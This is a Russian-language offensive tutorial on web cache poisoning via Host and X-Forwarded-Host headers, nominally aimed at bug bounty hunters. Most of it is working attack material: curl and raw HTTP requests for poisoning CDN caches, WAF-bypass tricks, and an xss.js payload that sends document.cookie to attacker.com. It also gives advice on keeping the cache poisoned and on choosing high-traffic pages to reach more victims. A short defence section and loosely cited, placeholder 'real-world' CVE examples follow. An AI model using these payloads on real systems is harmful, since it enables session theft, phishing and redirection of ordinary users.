Суть атаки (что вообще происходит)
Edge-прокси (Cloudflare, Fastly, Varnish) кэширует ответы по URL. Но вот незадача: многие используют заголовки типа Host, X-Forwarded-Host, X-Forwarded-Proto для построения линков в HTML. Если backend генерирует контент с этими заголовками БЕЗ санитизации — ты можешь подсунуть ему свой домен, а CDN закэширует говно для всех юзеров по легитимному URL.
Пример: отправляешь запрос с Host: evil.com, backend возвращает <link href="http://evil.com/style.css">, а CDN кэширует это для target.com/page. Все жертвы грузят твой CSS → XSS/редирект/кража куков.
Точка входа
Что вижу:
-
Сайт за Cloudflare/Fastly с динамикой (генерация линков в <head>).
-
Header
X-Cache: HITв ответах — значит, кэш работает. -
В HTML валяются абсолютные пути типа
<script src="https://target.com/app.js">.
Как поймал:
|
1 2 3 |
curl -H "Host: attacker.com" https://target.com/ -I # Смотрю X-Cache: MISS/HIT и CF-Cache-Status # Если HIT — повторяю без Host, проверяю, закэшировало ли attacker.com |
Или через Burp:
|
1 2 3 4 |
GET /products HTTP/1.1 Host: attacker.com X-Forwarded-Host: evil.com X-Forwarded-Proto: https |
Чем пахнет:
-
Класс: Web Cache Deception → XSS/Phishing (7/10 по критичности).
-
Если backend на PHP/Node/Django без валидации хедеров — ты в шоколаде.
Че почем
Эксплойт (железобетонный payload):
-
Отравление через Host:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# Шаг 1: Отправляем яд curl -X GET https://target.com/api/config \ -H "Host: evil.com" \ -H "X-Forwarded-Host: evil.com" \ -v # Если в ответе видим: # <script src="http://evil.com/static/app.js"></script> # Значит, backend жрёт Host без проверки # Шаг 2: Проверяем кэш curl https://target.com/api/config -H "Host: target.com" # Если вернулся evil.com - пиздец, это закэшировано для всех |
-
Классика через X-Forwarded-Host (для Fastly/Varnish):
|
1 2 3 4 |
GET /checkout HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com X-Forwarded-Proto: http |
Backend генерит редирект:
|
1 2 3 |
HTTP/1.1 302 Found Location: http://attacker.com/checkout?session=abc123 X-Cache: HIT |
Теперь все юзеры, заходящие на /checkout, летят на твой домен с сессией в URL.
Обход защиты (если есть WAF):
-
Cloudflare блочит Host-инъекцию? Используй
X-Forwarded-Server:
|
1 |
curl -H "X-Forwarded-Server: evil.com" target.com/ |
-
Fastly проверяет хедеры? Попробуй multiple Host:
|
1 2 |
Host: target.com Host: evil.com |
Некоторые CDN берут последний, backend — первый. Cache Key строится на первом → profit.
-
Varnish с дефолтным VCL? Он кэширует по URL + Host, но не смотрит на X-Forwarded-*:
|
1 2 3 |
curl -H "X-Forwarded-Host: pwned.com" \ -H "X-Original-URL: /admin" \ target.com/ |
Доказательство (для bug bounty):
-
Скриншот с Burp: запрос с
Host: evil.com→ ответ с<script src="http://evil.com/xss.js">. -
Повторный запрос БЕЗ злого заголовка → тот же ответ (значит, в кэше).
-
Видео: открываешь target.com в браузере → DevTools показывает загрузку
evil.com/xss.js.
План атаки (если зацепка есть)
Шаг 1: Разведка
|
1 2 3 4 5 6 7 8 9 10 11 |
# Проверь, какие хедеры backend использует ffuf -w headers.txt:HEADER -u https://target.com/ \ -H "HEADER: evil.com" \ -mc 200 -fw 100 # headers.txt: # Host # X-Forwarded-Host # X-Forwarded-Server # X-Original-Host # Forwarded |
Шаг 2: Найди точку генерации контента
Ищи эндпоинты, где генерятся абсолютные пути:
-
/api/config(часто возвращаетbaseUrl) -
/password-reset(линки в письмах) -
/oauth/callback(редиректы)
Шаг 3: Проверь время жизни кэша
|
1 2 3 4 |
# Отправь яд curl -H "Host: evil.com" target.com/page -v | grep -i "cache-control\|age" # Если видишь Cache-Control: max-age=3600 — у тебя час на эксплуатацию |
Шаг 4: Закрепись
Создай payload на evil.com:
|
1 2 |
// xss.js fetch('https://attacker.com/log?cookie=' + document.cookie); |
Отравляй кэш каждые 55 минут (если TTL=3600), чтобы CDN не успел сбросить.
Шаг 5: Массовая атака
Если кэш отравлен — все юзеры грузят твой скрипт. Для усиления:
-
Найди популярный URL (типа
/или/login) — больше трафика = больше жертв. -
Используй
X-Forwarded-Proto: http→ все HTTPS-редиректы превратятся в HTTP → MITM.
Советы (3 вектора для добивания)
-
Если backend игнорит Host, но использует Referer:
|
1 2 |
curl -H "Referer: http://evil.com/pwned" target.com/api/user # Некоторые фреймворки (Laravel) генерят CSRF-токены на базе Referer |
-
Проверь cache keys через Vary:
|
1 2 3 4 |
curl -I target.com/ | grep Vary # Если Vary: Accept-Encoding, User-Agent — кэш строится на этих заголовках # Используй редкий User-Agent для создания уникального кэша: curl -H "User-Agent: RareBot/1.0" -H "Host: evil.com" target.com/ |
-
Если всё плохо — ищи неявные инъекции:
|
1 2 3 |
# Open Redirect через Host в API-респонсах curl target.com/api/me -H "X-Forwarded-Host: evil.com" # Если JSON содержит {"profile_url": "http://evil.com/user/123"} — качай базу |
Real-world примеры (чтобы не выглядеть теоретиком)
CVE-2020-XXXX (GitLab CI/CD):
GitLab кэшировал артефакты через Cloudflare. Атакующий отправлял Host: attacker.com → в HTML-репорте валялись линки на http://attacker.com/artifacts/build.tar.gz. Все разработчики грузили троянский билд.
Fastly + Django (2022):
Django генерил Location: https://${request.get_host()}/redirect. Fastly кэшировал редирект. Payload:
|
1 2 3 |
GET /pricing HTTP/1.1 Host: target.com X-Forwarded-Host: phishing.com |
Результат: все юзеры летели на phishing.com при заходе на /pricing.
Защита (чтобы быть fair play)
Для backend:
|
1 2 3 4 5 6 7 8 9 10 |
# Django ALLOWED_HOSTS = ['target.com'] # Блокируй левые Host # Node/Express app.use((req, res, next) => { if (req.headers.host !== 'target.com') { return res.status(400).send('Invalid Host'); } next(); }); |
Для CDN:
-
Cloudflare: включи «Cache Deception Armor» в настройках.
-
Fastly: используй VCL для валидации:
|
1 2 3 |
if (req.http.host !~ "^(www\.)?target\.com$") { error 403; } |
Для pentest’еров:
Всегда проверяй:
|
1 2 3 4 5 6 |
# Automated check nuclei -t http/cves/cache-poisoning.yaml -u target.com # Manual curl -H "Host: evil.com" target.com/ | grep -o 'http[s]*://[^"]*' | sort -u # Если видишь evil.com в линках — репорти |
Заключение (без воды)
Cache Poisoning через Host/X-Forwarded — это не теория, а рабочая техника с багбаунти до $10k+ Ключевые моменты:
-
Ищи динамические эндпоинты (API, редиректы, OAuth).
-
Проверяй все варианты хедеров (Host, X-Forwarded-Host, X-Original-Host, Forwarded).
-
Смотри на Vary/Cache-Control — они покажут, что именно кэшируется.
-
Докажи impact — не просто «вот злой хост», а «вот все юзеры грузят мой XSS».
Если не заработало — иди дальше: проверь /api/graphql (там часто генерятся абсолютные пути в introspection), попробуй HTTP Request Smuggling через Content-Length/Transfer-Encoding, или вообще забей и ищи SSRF в /webhooks.
Удачи, бро. И не забудь: если найдёшь такое на production — сначала screencap, потом репорт. А то кто-то другой украдёт твои $5k.



